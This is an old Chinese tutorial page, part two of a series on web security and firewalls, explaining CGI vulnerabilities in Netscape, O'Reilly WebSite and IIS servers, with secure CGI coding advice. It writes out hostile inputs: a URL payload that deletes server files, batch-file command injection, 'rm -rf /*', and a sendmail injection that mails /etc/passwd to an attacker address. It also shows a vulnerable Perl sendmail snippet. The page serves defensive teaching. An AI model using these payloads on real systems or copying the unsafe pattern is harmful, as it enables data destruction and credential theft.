学院首页>冲浪宝典>局域网>Web安全技术与防火墙(中)

Web安全技术与防火墙(中)

作者: 来源:不详 添加时间:2006-5-25 22:52:29

  〖1〗Perl解释器的漏洞

  Netscape Communications Server中无法识别cgi-bin下的扩展名 及其应 用关系,如:.pl是PERL的代码程序自动调用 perl.exe文件解 释,即使现在也只 能把perl.exe文件存放在cgi-bin目录之下。执行 如: /cgi-bin/perl.exe?&my_script.pl. 但是这就给任何人都有执行 perl 的可能, 当有些人在其浏览器的URL中加上如: /cgi-bin/perl.exe?&-e+unlink+%3C*%3E 时,有可能造成删除服务器当 前目录下文件的危险。但是,其他如:O'Reilly WebSite或Purveyor都 不存在这种漏洞。

  〖2〗CGI执行批处理文件的漏洞

  文件名:test.bat:

  @echo off

  echo Content-type: text/plain

  echo

  echo Hello World!

  如果客户浏览器的URL为:/cgi-bin/test.bat?&dir则执行调用命 令解释 器完成dir列表。这给访问者有执行其他命令可能性。

  2)O'Reilly WebSite server for Windows NT/95

  在WebSite1.1B以前的版本中使用配处理文件存在着Netscape同样 的漏洞, 但是,新版关闭.bat在cgi中的作用。支持perl,VB和C作为CGI 开发工具。至于 他的安全问题参看: http://website.ora.com/devcomer/secalert1。

  3)Microsoft's IIS Web Server

  在96年3月5日前的IIS在NT下的.bat CGI的 bug甚至比其他更严 重,可以 任意使用command命令。但之后修补该漏洞。你可检查你的可 执行文件的建立日 期。IIS3.0还存在一些安全bug,主要是cgi-bin下的 覆给权利。

  另外,许多 WEB服务器本身都存在一些安全上的漏洞,都是在版本 升级过 程不断更新。在这就不一一列举。

  从CGI编程角度考虑安全:

  1〕采用编译语言比解释语言会更安全些,并且 CGI程序应放在独 立于HTML 存放目录之外的CGI-BIN下,是为了防止一些非法访问者从浏览 器端取得解释性语 言的原代码后从中寻找漏洞。

  2〕在用C来编写CGI程序时尽量少用popen(), system()和所有涉 及/bin/sh 的shell命令。在Perl中system(), exec(), open(),eval() 等exec或eval之类命 令。在由用户填写的form还回cgi时,不要直接调 用system()之类函数。这是为避 免当填写内容为“rm -rf /*”或 “/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org< /etc/passwd”之类内容。

  3〕用Perl编写CGI时如:

  $mail_to = &get_name_from_input;

  open (MAIL,"| /usr/lib/sendmail $mail_to");

  print MAIL "To: $mailto\nFrom: me\n\nHi there!\n";

  close MAIL;

  该小程序是把客户浏览器的form到服务器的mail处理程序。


站内搜索